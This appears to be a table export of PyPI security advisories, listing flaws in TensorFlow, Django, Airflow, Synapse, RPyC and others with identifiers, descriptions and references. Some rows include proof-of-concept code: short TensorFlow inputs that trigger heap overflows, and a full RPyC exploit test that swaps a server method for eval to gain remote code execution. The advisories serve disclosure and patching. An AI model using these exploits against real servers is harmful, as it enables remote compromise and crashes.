ecosystem stringclasses 14 values | vuln_id stringlengths 10 19 | summary stringlengths 4 267 ⌀ | details stringlengths 9 13.5k | aliases stringlengths 17 144 ⌀ | modified_date stringdate 2010-05-27 05:47:00 2022-05-10 08:46:52 | published_date stringdate 2005-12-31 05:00:00 2022-05-10 08:46:50 | severity stringclasses 5 values | score float64 0 10 ⌀ | cwe_id stringclasses 988 values | refs stringlengths 30 17.7k ⌀ | introduced stringlengths 75 4.26k ⌀ |
|---|---|---|---|---|---|---|---|---|---|---|---|
PyPI | PYSEC-2019-142 | null | In Apache Airflow before 1.10.2, a malicious admin user could edit the state of objects in the Airflow metadata database to execute arbitrary javascript on certain page views. | {'GHSA-99cv-8cvv-666c', 'CVE-2018-20244'} | 2021-06-10T06:52:05.219935Z | 2019-02-27T18:29:00Z | null | null | null | {'https://lists.apache.org/thread.html/f656fddf9c49293b3ec450437c46709eb01a12d1645136b2f1b8573b@%3Cdev.airflow.apache.org%3E', 'https://github.com/advisories/GHSA-99cv-8cvv-666c', 'https://lists.apache.org/thread.html/2de387213d45bc626d27554a1bde7b8c67d08720901f82a50b6f4231@%3Cdev.airflow.apache.org%3E', 'http://www.openwall.com/lists/oss-security/2019/04/10/6'} | null |
PyPI | PYSEC-2016-7 | null | Integer overflow in the ImagingResampleHorizontal function in libImaging/Resample.c in Pillow before 3.1.1 allows remote attackers to have unspecified impact via negative values of the new size, which triggers a heap-based buffer overflow. | {'CVE-2016-4009', 'GHSA-hvr8-466p-75rh'} | 2021-07-05T00:01:24.042207Z | 2016-04-13T16:59:00Z | null | null | null | {'https://security.gentoo.org/glsa/201612-52', 'https://github.com/python-pillow/Pillow/commit/4e0d9b0b9740d258ade40cce248c93777362ac1e', 'http://www.securityfocus.com/bid/86064', 'https://github.com/python-pillow/Pillow/pull/1714', 'https://github.com/advisories/GHSA-hvr8-466p-75rh', 'https://github.com/python-pillow/Pillow/blob/c3cb690fed5d4bf0c45576759de55d054916c165/CHANGES.rst'} | null |
PyPI | GHSA-2gfx-95x2-5v3x | Heap buffer overflow in `QuantizedReshape` | ### Impact
An attacker can cause a heap buffer overflow in `QuantizedReshape` by passing in invalid thresholds for the quantization:
```python
import tensorflow as tf
tensor = tf.constant([], dtype=tf.qint32)
shape = tf.constant([], dtype=tf.int32)
input_min = tf.constant([], dtype=tf.float32)
input_max = tf.constant([], dtype=tf.float32)
tf.raw_ops.QuantizedReshape(tensor=tensor, shape=shape, input_min=input_min, input_max=input_max)
```
This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/a324ac84e573fba362a5e53d4e74d5de6729933e/tensorflow/core/kernels/quantized_reshape_op.cc#L38-L55) assumes that the 2 arguments are always valid scalars and tries to access the numeric value directly:
```cc
const auto& input_min_float_tensor = ctx->input(2);
...
const float input_min_float = input_min_float_tensor.flat<float>()(0);
const auto& input_max_float_tensor = ctx->input(3);
...
const float input_max_float = input_max_float_tensor.flat<float>()(0);
```
However, if any of these tensors is empty, then `.flat<T>()` is an empty buffer and accessing the element at position 0 results in overflow.
### Patches
We have patched the issue in GitHub commit [a324ac84e573fba362a5e53d4e74d5de6729933e](https://github.com/tensorflow/tensorflow/commit/a324ac84e573fba362a5e53d4e74d5de6729933e).
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team. | {'CVE-2021-29536'} | 2022-03-03T05:14:05.624783Z | 2021-05-21T14:22:32Z | LOW | null | {'CWE-787'} | {'https://github.com/tensorflow/tensorflow/commit/a324ac84e573fba362a5e53d4e74d5de6729933e', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-2gfx-95x2-5v3x', 'https://nvd.nist.gov/vuln/detail/CVE-2021-29536'} | null |
PyPI | PYSEC-2018-99 | null | pyro before 3.15 unsafely handles pid files in temporary directory locations and opening the pid file as root. An attacker can use this flaw to overwrite arbitrary files via symlinks. | {'GHSA-xrr4-74mc-rpjc', 'CVE-2011-2765'} | 2021-08-27T03:22:17.581707Z | 2018-08-20T13:29:00Z | null | null | null | {'https://pythonhosted.org/Pyro/12-changes.html', 'https://github.com/advisories/GHSA-xrr4-74mc-rpjc', 'https://bugs.debian.org/631912', 'https://github.com/irmen/Pyro3/commit/554e095a62c4412c91f981e72fd34a936ac2bf1e'} | null |
PyPI | PYSEC-2022-22 | null | Improper Access Control in Pypi calibreweb prior to 0.6.16. | {'CVE-2022-0273', 'GHSA-vgmw-9cww-qq99'} | 2022-02-04T19:19:26.662601Z | 2022-01-30T14:15:00Z | null | null | null | {'https://github.com/janeczku/calibre-web/commit/0c0313f375bed7b035c8c0482bbb09599e16bfcf', 'https://huntr.dev/bounties/8f27686f-d698-4ab6-8ef0-899125792f13', 'https://github.com/advisories/GHSA-vgmw-9cww-qq99'} | null |
PyPI | PYSEC-2021-368 | null | Zope is an open-source web application server. Zope versions prior to versions 4.6.3 and 5.3 have a remote code execution security issue. In order to be affected, one must use Python 3 for one's Zope deployment, run Zope 4 below version 4.6.3 or Zope 5 below version 5.3, and have the optional `Products.PythonScripts` add-on package installed. By default, one must have the admin-level Zope "Manager" role to add or edit Script (Python) objects through the web. Only sites that allow untrusted users to add/edit these scripts through the web are at risk. Zope releases 4.6.3 and 5.3 are not vulnerable. As a workaround, a site administrator can restrict adding/editing Script (Python) objects through the web using the standard Zope user/role permission mechanisms. Untrusted users should not be assigned the Zope Manager role and adding/editing these scripts through the web should be restricted to trusted users only. This is the default configuration in Zope. | {'GHSA-g4gq-j4p2-j8fr', 'CVE-2021-32811', 'GHSA-qcx9-j53g-ccgf'} | 2021-10-12T02:55:36.218662Z | 2021-08-02T22:15:00Z | null | null | null | {'https://github.com/zopefoundation/Zope/security/advisories/GHSA-g4gq-j4p2-j8fr', 'https://github.com/zopefoundation/Zope/commit/f72a18dda8e9bf2aedb46168761668464a4be988', 'https://github.com/zopefoundation/AccessControl/security/advisories/GHSA-qcx9-j53g-ccgf'} | null |
PyPI | PYSEC-2021-692 | null | TensorFlow is an end-to-end open source platform for machine learning. An attacker can write outside the bounds of heap allocated arrays by passing invalid arguments to `tf.raw_ops.Dilation2DBackpropInput`. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/afd954e65f15aea4d438d0a219136fc4a63a573d/tensorflow/core/kernels/dilation_ops.cc#L321-L322) does not validate before writing to the output array. The values for `h_out` and `w_out` are guaranteed to be in range for `out_backprop` (as they are loop indices bounded by the size of the array). However, there are no similar guarantees relating `h_in_max`/`w_in_max` and `in_backprop`. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. | {'GHSA-pvrc-hg3f-58r6', 'CVE-2021-29566'} | 2021-12-09T06:35:26.175336Z | 2021-05-14T20:15:00Z | null | null | null | {'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-pvrc-hg3f-58r6', 'https://github.com/tensorflow/tensorflow/commit/3f6fe4dfef6f57e768260b48166c27d148f3015f'} | null |
PyPI | PYSEC-2021-738 | null | TensorFlow is an end-to-end open source platform for machine learning. An attacker can trigger a heap buffer overflow in Eigen implementation of `tf.raw_ops.BandedTriangularSolve`. The implementation(https://github.com/tensorflow/tensorflow/blob/eccb7ec454e6617738554a255d77f08e60ee0808/tensorflow/core/kernels/linalg/banded_triangular_solve_op.cc#L269-L278) calls `ValidateInputTensors` for input validation but fails to validate that the two tensors are not empty. Furthermore, since `OP_REQUIRES` macro only stops execution of current function after setting `ctx->status()` to a non-OK value, callers of helper functions that use `OP_REQUIRES` must check value of `ctx->status()` before continuing. This doesn't happen in this op's implementation(https://github.com/tensorflow/tensorflow/blob/eccb7ec454e6617738554a255d77f08e60ee0808/tensorflow/core/kernels/linalg/banded_triangular_solve_op.cc#L219), hence the validation that is present is also not effective. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. | {'CVE-2021-29612', 'GHSA-2xgj-xhgf-ggjv'} | 2021-12-09T06:35:34.038446Z | 2021-05-14T20:15:00Z | null | null | null | {'https://github.com/tensorflow/tensorflow/commit/0ab290774f91a23bebe30a358fde4e53ab4876a0', 'https://github.com/tensorflow/tensorflow/commit/ba6822bd7b7324ba201a28b2f278c29a98edbef2', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-2xgj-xhgf-ggjv'} | null |
PyPI | GHSA-q4p3-qw5c-mhpc | Multiple stored XSS in RBAC Admin screens in Apache Airflow | An issue was found in Apache Airflow versions 1.10.10 and below. It was discovered that many of the admin management screens in the new/RBAC UI handled escaping incorrectly, allowing authenticated users with appropriate permissions to create stored XSS attacks. | {'CVE-2020-11983'} | 2022-03-03T05:12:55.715227Z | 2020-07-27T16:57:25Z | MODERATE | null | {'CWE-79'} | {'https://nvd.nist.gov/vuln/detail/CVE-2020-11983', 'https://lists.apache.org/thread.html/r7255cf0be3566f23a768e2a04b40fb09e52fcd1872695428ba9afe91%40%3Cusers.airflow.apache.org%3E'} | null |
PyPI | PYSEC-2017-45 | null | Cross-site scripting (XSS) vulnerability in IPython 3.x before 3.2 allows remote attackers to inject arbitrary web script or HTML via vectors involving JSON error messages and the /api/contents path. | {'CVE-2015-4706'} | 2021-07-15T02:22:14.767338Z | 2017-09-21T14:29:00Z | null | null | null | {'https://ipython.org/ipython-doc/3/whatsnew/version3.html', 'https://github.com/ipython/ipython/commit/c2078a53543ed502efd968649fee1125e0eb549c', 'http://www.openwall.com/lists/oss-security/2015/06/22/7', 'https://bugzilla.redhat.com/show_bug.cgi?id=1235688', 'http://www.securityfocus.com/bid/75328', 'https://github.com/ipython/ipython/commit/7222bd53ad089a65fd610fab4626f9d0ab47dfce'} | null |
PyPI | GHSA-crch-j389-5f84 | Heap OOB write in TFLite | ### Impact
A specially crafted TFLite model could trigger an OOB write on heap in the TFLite implementation of [`ArgMin`/`ArgMax`](https://github.com/tensorflow/tensorflow/blob/102b211d892f3abc14f845a72047809b39cc65ab/tensorflow/lite/kernels/arg_min_max.cc#L52-L59):
```cc
TfLiteIntArray* output_dims = TfLiteIntArrayCreate(NumDimensions(input) - 1);
int j = 0;
for (int i = 0; i < NumDimensions(input); ++i) {
if (i != axis_value) {
output_dims->data[j] = SizeOfDimension(input, i);
++j;
}
}
```
If `axis_value` is not a value between 0 and `NumDimensions(input)`, then the condition in the `if` is never true, so code writes past the last valid element of `output_dims->data`.
### Patches
We have patched the issue in GitHub commit [c59c37e7b2d563967da813fa50fe20b21f4da683](https://github.com/tensorflow/tensorflow/commit/c59c37e7b2d563967da813fa50fe20b21f4da683).
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360. | {'CVE-2021-29603'} | 2022-03-03T05:13:27.649387Z | 2021-05-21T14:28:15Z | LOW | null | {'CWE-787'} | {'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-crch-j389-5f84', 'https://nvd.nist.gov/vuln/detail/CVE-2021-29603', 'https://github.com/tensorflow/tensorflow/commit/c59c37e7b2d563967da813fa50fe20b21f4da683'} | null |
PyPI | GHSA-246w-56m2-5899 | Cross-site scripting (XSS) vulnerability in the password reset endpoint | ### Impact
The password reset endpoint served via Synapse was vulnerable to cross-site scripting (XSS) attacks. The impact depends on the configuration of the domain that Synapse is deployed on, but may allow access to cookies and other browser data, CSRF vulnerabilities, and access to other resources served on the same domain or parent domains.
### Patches
This is fixed in #9200.
### Workarounds
Depending on the needs and configuration of the homeserver a few options are available:
1. Password resets can be disabled by delegating email to a third-party service (via the `account_threepid_delegates.email` setting) or disabling email (by not configuring the `email` setting).
2. If the homeserver is not configured to use passwords (via the `password_config.enabled` setting) then the affected endpoint can be blocked at a reverse proxy:
* `/_synapse/client/password_reset/email/submit_token`
3. The `password_reset_confirmation.html` template can be overridden with a custom template that manually escapes the variables using [JInja2's `escape` filter](https://jinja.palletsprojects.com/en/2.11.x/templates/#escape). See the `email.template_dir` setting. | {'CVE-2021-21332'} | 2022-03-03T05:12:57.224765Z | 2021-03-26T19:52:54Z | MODERATE | null | {'CWE-79'} | {'https://github.com/matrix-org/synapse/pull/9200', 'https://github.com/matrix-org/synapse/commit/e54746bdf7d5c831eabe4dcea76a7626f1de73df', 'https://nvd.nist.gov/vuln/detail/CVE-2021-21332', 'https://github.com/matrix-org/synapse/releases/tag/v1.27.0', 'https://github.com/matrix-org/synapse/security/advisories/GHSA-246w-56m2-5899', 'https://github.com/matrix-org/synapse', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TNNAJOZNMVMXM6AS7RFFKB4QLUJ4IFEY/'} | null |
PyPI | GHSA-qf7v-8hj3-4xw7 | Improper Verification of Cryptographic Signature in PySAML2 | PySAML2 before 5.0.0 does not check that the signature in a SAML document is enveloped and thus signature wrapping is effective, i.e., it is affected by XML Signature Wrapping (XSW). The signature information and the node/object that is signed can be in different places and thus the signature verification will succeed, but the wrong data will be used. This specifically affects the verification of assertion that have been signed. | {'CVE-2020-5390'} | 2022-03-03T05:14:15.972813Z | 2020-05-06T19:41:29Z | HIGH | null | {'CWE-347'} | {'https://github.com/IdentityPython/pysaml2/releases', 'https://nvd.nist.gov/vuln/detail/CVE-2020-5390', 'https://github.com/IdentityPython/pysaml2/commit/f27c7e7a7010f83380566a219fd6a290a00f2b6e', 'https://github.com/IdentityPython/pysaml2/releases/tag/v5.0.0', 'https://www.debian.org/security/2020/dsa-4630', 'https://github.com/IdentityPython/pysaml2/blob/master/CHANGELOG.md#500-2020-01-13', 'https://github.com/IdentityPython/pysaml2/commit/5e9d5acbcd8ae45c4e736ac521fd2df5b1c62e25', 'https://lists.debian.org/debian-lts-announce/2020/02/msg00025.html', 'https://usn.ubuntu.com/4245-1/', 'https://pypi.org/project/pysaml2/5.0.0/'} | null |
PyPI | GHSA-9r8w-6x8c-6jr9 | Moderate severity vulnerability that affects django | In Django 1.10.x before 1.10.8 and 1.11.x before 1.11.5, HTML autoescaping was disabled in a portion of the template for the technical 500 debug page. Given the right circumstances, this allowed a cross-site scripting attack. This vulnerability shouldn't affect most production sites since you shouldn't run with "DEBUG = True" (which makes this page accessible) in your production settings. | {'CVE-2017-12794'} | 2022-03-03T05:13:06.436830Z | 2019-01-04T17:50:34Z | MODERATE | null | {'CWE-79'} | {'https://usn.ubuntu.com/3559-1/', 'http://www.securitytracker.com/id/1039264', 'http://www.securityfocus.com/bid/100643', 'https://www.djangoproject.com/weblog/2017/sep/05/security-releases/', 'https://nvd.nist.gov/vuln/detail/CVE-2017-12794', 'https://github.com/advisories/GHSA-9r8w-6x8c-6jr9'} | null |
PyPI | PYSEC-2021-32 | null | OMERO.web is open source Django-based software for managing microscopy imaging. OMERO.web before version 5.9.0 supports redirection to a given URL after performing login or switching the group context. These URLs are not validated, allowing redirection to untrusted sites. OMERO.web 5.9.0 adds URL validation before redirecting. External URLs are not considered valid, unless specified in the omero.web.redirect_allowed_hosts setting. | {'GHSA-g4rf-pc26-6hmr', 'CVE-2021-21377'} | 2021-03-27T02:20:00Z | 2021-03-23T16:15:00Z | null | null | null | {'https://www.openmicroscopy.org/security/advisories/2021-SV2/', 'https://pypi.org/project/omero-web/', 'https://github.com/ome/omero-web/security/advisories/GHSA-g4rf-pc26-6hmr', 'https://github.com/ome/omero-web/commit/952f8e5d28532fbb14fb665982211329d137908c', 'https://github.com/ome/omero-web/blob/master/CHANGELOG.md#590-march-2021'} | null |
PyPI | PYSEC-2021-387 | null | An issue was discovered in Dask (aka python-dask) through 2021.09.1. Single machine Dask clusters started with dask.distributed.LocalCluster or dask.distributed.Client (which defaults to using LocalCluster) would mistakenly configure their respective Dask workers to listen on external interfaces (typically with a randomly selected high port) rather than only on localhost. A Dask cluster created using this method (when running on a machine that has an applicable port exposed) could be used by a sophisticated attacker to achieve remote code execution. | {'CVE-2021-42343', 'GHSA-j8fq-86c5-5v2r'} | 2021-11-11T13:06:47.756280Z | 2021-10-26T11:15:00Z | null | null | null | {'https://docs.dask.org/en/latest/changelog.html', 'https://github.com/dask/dask/tags', 'https://github.com/advisories/GHSA-j8fq-86c5-5v2r'} | null |
PyPI | PYSEC-2021-153 | null | TensorFlow is an end-to-end open source platform for machine learning. Calling `tf.raw_ops.RaggedTensorToVariant` with arguments specifying an invalid ragged tensor results in a null pointer dereference. The implementation of `RaggedTensorToVariant` operations(https://github.com/tensorflow/tensorflow/blob/904b3926ed1c6c70380d5313d282d248a776baa1/tensorflow/core/kernels/ragged_tensor_to_variant_op.cc#L39-L40) does not validate that the ragged tensor argument is non-empty. Since `batched_ragged` contains no elements, `batched_ragged.splits` is a null vector, thus `batched_ragged.splits(0)` will result in dereferencing `nullptr`. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. | {'GHSA-84mw-34w6-2q43', 'CVE-2021-29516'} | 2021-08-27T03:22:24.214869Z | 2021-05-14T20:15:00Z | null | null | null | {'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-84mw-34w6-2q43', 'https://github.com/tensorflow/tensorflow/commit/b055b9c474cd376259dde8779908f9eeaf097d93'} | null |
PyPI | GHSA-pj4g-4488-wmxm | Dynamic modification of RPyC service due to missing security check | ### Impact
Version 4.1.0 of RPyC has a vulnerability that affects custom RPyC services making it susceptible to authenticated remote attacks.
### Patches
Git commits between September 2018 and October 2019 and version 4.1.0 are vulnerable. Use a version of RPyC that is not affected.
### Workarounds
The commit `d818ecc83a92548994db75a0e9c419c7bce680d6` could be used as a patch to add the missing access check.
### References
[CVE-2019-16328](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16328)
[RPyC Security Documentation](https://rpyc.readthedocs.io/en/latest/docs/security.html#security)
### For more information
If you have any questions or comments about this advisory:
* Open an issue using [GitHub](https://github.com/tomerfiliba-org/rpyc)
### Proof of Concept
```
import logging
import rpyc
import tempfile
from subprocess import Popen, PIPE
import unittest
PORT = 18861
SERVER_SCRIPT = f"""#!/usr/bin/env python
import rpyc
from rpyc.utils.server import ThreadedServer, ThreadPoolServer
from rpyc import SlaveService
import rpyc
class Foe(object):
foo = "bar"
class Fee(rpyc.Service):
exposed_Fie = Foe
def exposed_nop(self):
return
if __name__ == "__main__":
server = ThreadedServer(Fee, port={PORT}, auto_register=False)
thd = server.start()
"""
def setattr_orig(target, attrname, codeobj):
setattr(target, attrname, codeobj)
def myeval(self=None, cmd="__import__('sys')"):
return eval(cmd)
def get_code(obj_codetype, func, filename=None, name=None):
func_code = func.__code__
arg_names = ['co_argcount', 'co_posonlyargcount', 'co_kwonlyargcount', 'co_nlocals', 'co_stacksize', 'co_flags',
'co_code', 'co_consts', 'co_names', 'co_varnames', 'co_filename', 'co_name', 'co_firstlineno',
'co_lnotab', 'co_freevars', 'co_cellvars']
codetype_args = [getattr(func_code, n) for n in arg_names]
if filename:
codetype_args[arg_names.index('co_filename')] = filename
if name:
codetype_args[arg_names.index('co_name')] = name
mycode = obj_codetype(*codetype_args)
return mycode
def _vercmp_gt(ver1, ver2):
ver1_gt_ver2 = False
for i, v1 in enumerate(ver1):
v2 = ver2[i]
if v1 > v2:
ver1_gt_ver2 = True
break
elif v1 == v2:
continue
else: # v1 < v2
break
return ver1_gt_ver2
@unittest.skipIf(not _vercmp_gt(rpyc.__version__, (3, 4, 4)), "unaffected version")
class Test_InfoDisclosure_Service(unittest.TestCase):
@classmethod
def setUpClass(cls):
cls.logger = logging.getLogger('rpyc')
cls.logger.setLevel(logging.DEBUG) # NOTSET only traverses until another level is found, so DEBUG is preferred
cls.hscript = tempfile.NamedTemporaryFile()
cls.hscript.write(SERVER_SCRIPT.encode())
cls.hscript.flush()
while cls.hscript.file.tell() != len(SERVER_SCRIPT):
pass
cls.server = Popen(["python", cls.hscript.name], stdout=PIPE, stderr=PIPE, text=True)
cls.conn = rpyc.connect("localhost", PORT)
@classmethod
def tearDownClass(cls):
cls.conn.close()
cls.logger.info(cls.server.stdout.read())
cls.logger.info(cls.server.stderr.read())
cls.server.kill()
cls.hscript.close()
def netref_getattr(self, netref, attrname):
# PoC CWE-358: abuse __cmp__ function that was missing a security check
handler = rpyc.core.consts.HANDLE_CMP
return self.conn.sync_request(handler, netref, attrname, '__getattribute__')
def test_1_modify_nop(self):
# create netrefs for builtins and globals that will be used to construct on remote
remote_svc_proto = self.netref_getattr(self.conn.root, '_protocol')
remote_dispatch = self.netref_getattr(remote_svc_proto, '_dispatch_request')
remote_class_globals = self.netref_getattr(remote_dispatch, '__globals__')
remote_modules = self.netref_getattr(remote_class_globals['sys'], 'modules')
_builtins = remote_modules['builtins']
remote_builtins = {k: self.netref_getattr(_builtins, k) for k in dir(_builtins)}
# populate globals for CodeType calls on remote
remote_globals = remote_builtins['dict']()
for name, netref in remote_builtins.items():
remote_globals[name] = netref
for name, netref in self.netref_getattr(remote_modules, 'items')():
remote_globals[name] = netref
# create netrefs for types to create remote function malicously
remote_types = remote_builtins['__import__']("types")
remote_types_CodeType = self.netref_getattr(remote_types, 'CodeType')
remote_types_FunctionType = self.netref_getattr(remote_types, 'FunctionType')
# remote eval function constructed
remote_eval_codeobj = get_code(remote_types_CodeType, myeval, filename='test_code.py', name='__code__')
remote_eval = remote_types_FunctionType(remote_eval_codeobj, remote_globals)
# PoC CWE-913: modify the exposed_nop of service
# by binding various netrefs in this execution frame, they are cached in
# the remote address space. setattr and eval functions are cached for the life
# of the netrefs in the frame. A consequence of Netref classes inheriting
# BaseNetref, each object is cached under_local_objects. So, we are able
# to construct arbitrary code using types and builtins.
# use the builtin netrefs to modify the service to use the constructed eval func
remote_setattr = remote_builtins['setattr']
remote_type = remote_builtins['type']
remote_setattr(remote_type(self.conn.root), 'exposed_nop', remote_eval)
# show that nop was replaced by eval to complete the PoC
remote_sys = self.conn.root.nop('__import__("sys")')
remote_stack = self.conn.root.nop('"".join(__import__("traceback").format_stack())')
self.assertEqual(type(remote_sys).__name__, 'builtins.module')
self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)
self.assertIn('rpyc/utils/server.py', remote_stack)
def test_2_new_conn_impacted(self):
# demostrate impact and scope of vuln for new connections
self.conn.close()
self.conn = rpyc.connect("localhost", PORT)
# show new conn can still use nop as eval
remote_sys = self.conn.root.nop('__import__("sys")')
remote_stack = self.conn.root.nop('"".join(__import__("traceback").format_stack())')
self.assertEqual(type(remote_sys).__name__, 'builtins.module')
self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)
self.assertIn('rpyc/utils/server.py', remote_stack)
if __name__ == "__main__":
unittest.main()
``` | {'CVE-2019-16328'} | 2021-09-27T22:48:17Z | 2021-02-17T19:50:58Z | HIGH | null | {'CWE-285'} | {'https://github.com/tomerfiliba-org/rpyc/security/advisories/GHSA-pj4g-4488-wmxm', 'https://github.com/tomerfiliba-org/rpyc'} | null |
PyPI | GHSA-v6rh-hp5x-86rv | Potential bypass of an upstream access control based on URL paths in Django | In Django 2.2 before 2.2.25, 3.1 before 3.1.14, and 3.2 before 3.2.10, HTTP requests for URLs with trailing newlines could bypass upstream access control based on URL paths. This issue has low severity, according to the Django security policy. | {'CVE-2021-44420'} | 2022-03-03T05:12:27.798936Z | 2021-12-09T19:09:37Z | HIGH | null | {'CWE-287'} | {'https://github.com/django/django', 'https://groups.google.com/forum/#!forum/django-announce', 'https://nvd.nist.gov/vuln/detail/CVE-2021-44420', 'https://docs.djangoproject.com/en/3.2/releases/security/', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/B4SQG2EAF4WCI2SLRL6XRDJ3RPK3ZRDV/', 'https://www.djangoproject.com/weblog/2021/dec/07/security-releases/', 'https://github.com/django/django/commit/d4dcd5b9dd9e462fec8220e33e3e6c822b7e88a6', 'https://security.netapp.com/advisory/ntap-20211229-0006/', 'https://www.openwall.com/lists/oss-security/2021/12/07/1'} | null |
PyPI | PYSEC-2021-503 | null | TensorFlow is an end-to-end open source platform for machine learning. The implementation of `tf.raw_ops.ReverseSequence` allows for stack overflow and/or `CHECK`-fail based denial of service. The implementation(https://github.com/tensorflow/tensorflow/blob/5b3b071975e01f0d250c928b2a8f901cd53b90a7/tensorflow/core/kernels/reverse_sequence_op.cc#L114-L118) fails to validate that `seq_dim` and `batch_dim` arguments are valid. Negative values for `seq_dim` can result in stack overflow or `CHECK`-failure, depending on the version of Eigen code used to implement the operation. Similar behavior can be exhibited by invalid values of `batch_dim`. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. | {'GHSA-6qgm-fv6v-rfpv', 'CVE-2021-29575'} | 2021-12-09T06:34:55.002066Z | 2021-05-14T20:15:00Z | null | null | null | {'https://github.com/tensorflow/tensorflow/commit/ecf768cbe50cedc0a45ce1ee223146a3d3d26d23', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-6qgm-fv6v-rfpv'} | null |
PyPI | PYSEC-2021-850 | null | In Django-wiki, versions 0.0.20 to 0.7.8 are vulnerable to Stored Cross-Site Scripting (XSS) in Notifications Section. An attacker who has access to edit pages can inject JavaScript payload in the title field. When a victim gets a notification regarding the changes made in the application, the payload in the notification panel renders and loads external JavaScript. | {'GHSA-3m3h-v9hv-9j4h', 'CVE-2021-25986'} | 2021-12-14T08:21:59.357980Z | 2021-11-23T20:15:00Z | null | null | null | {'https://nvd.nist.gov/vuln/detail/CVE-2021-25986', 'https://www.whitesourcesoftware.com/vulnerability-database/CVE-2021-25986', 'https://pypi.org/project/wiki', 'https://github.com/django-wiki/django-wiki/commit/9eaccc7519e4206a4d2f22640882f0737b2da9c5', 'https://github.com/advisories/GHSA-3m3h-v9hv-9j4h'} | null |
PyPI | PYSEC-2008-7 | null | Unspecified vulnerability in the HTML sanitizer filter in Trac before 0.11.2 allows attackers to conduct phishing attacks via unknown attack vectors. | {'CVE-2008-5647'} | 2021-07-16T01:31:34.677272Z | 2008-12-17T18:30:00Z | null | null | null | {'http://secunia.com/advisories/32652', 'http://trac.edgewall.org/wiki/ChangeLog', 'http://www.securityfocus.com/bid/32226', 'http://www.vupen.com/english/advisories/2008/3080', 'https://exchange.xforce.ibmcloud.com/vulnerabilities/46491'} | null |
PyPI | PYSEC-2020-153 | null | In Wagtail before versions 2.7.2 and 2.8.2, a potential timing attack exists on pages or documents that have been protected with a shared password through Wagtail's "Privacy" controls. This password check is performed through a character-by-character string comparison, and so an attacker who is able to measure the time taken by this check to a high degree of accuracy could potentially use timing differences to gain knowledge of the password. This is understood to be feasible on a local network, but not on the public internet. Privacy settings that restrict access to pages/documents on a per-user or per-group basis (as opposed to a shared password) are unaffected by this vulnerability. This has been patched in 2.7.3, 2.8.2, 2.9. | {'GHSA-jjjr-3jcw-f8v6', 'CVE-2020-11037'} | 2020-05-08T15:57:00Z | 2020-04-30T23:15:00Z | null | null | null | {'https://github.com/wagtail/wagtail/security/advisories/GHSA-jjjr-3jcw-f8v6'} | null |
PyPI | PYSEC-2018-21 | null | PyCryptodome before 3.6.6 has an integer overflow in the data_len variable in AESNI.c, related to the AESNI_encrypt and AESNI_decrypt functions, leading to the mishandling of messages shorter than 16 bytes. | {'GHSA-hgg3-g7gr-66r7', 'CVE-2018-15560'} | 2021-06-10T06:52:01.279206Z | 2018-08-20T00:29:00Z | null | null | null | {'https://whitehatck01.blogspot.com/2018/08/integer-overflow-vulnerability-in.html', 'https://github.com/Legrandin/pycryptodome/issues/198', 'https://github.com/advisories/GHSA-hgg3-g7gr-66r7'} | null |
PyPI | PYSEC-2020-48 | null | Hyperledger Indy Node is the server portion of a distributed ledger purpose-built for decentralized identity. In Hyperledger Indy before version 1.12.4, there is lack of signature verification on a specific transaction which enables an attacker to make certain unauthorized alterations to the ledger. Updating a DID with a nym transaction will be written to the ledger if neither ROLE or VERKEY are being changed, regardless of sender. A malicious DID with no particular role can ask an update for another DID (but cannot modify its verkey or role). This is bad because 1) Any DID can write a nym transaction to the ledger (i.e., any DID can spam the ledger with nym transactions), 2) Any DID can change any other DID's alias, 3) The update transaction modifies the ledger metadata associated with a DID. | {'GHSA-wh2w-39f4-rpv2', 'CVE-2020-11093'} | 2020-12-31T19:25:00Z | 2020-12-24T20:15:00Z | null | null | null | {'https://github.com/hyperledger/indy-node/security/advisories/GHSA-wh2w-39f4-rpv2', 'https://github.com/hyperledger/indy-node/blob/master/CHANGELOG.md#1124', 'https://github.com/hyperledger/indy-node/commit/55056f22c83b7c3520488b615e1577e0f895d75a', 'https://github.com/hyperledger/indy-node/blob/master/docs/source/auth_rules.md'} | null |
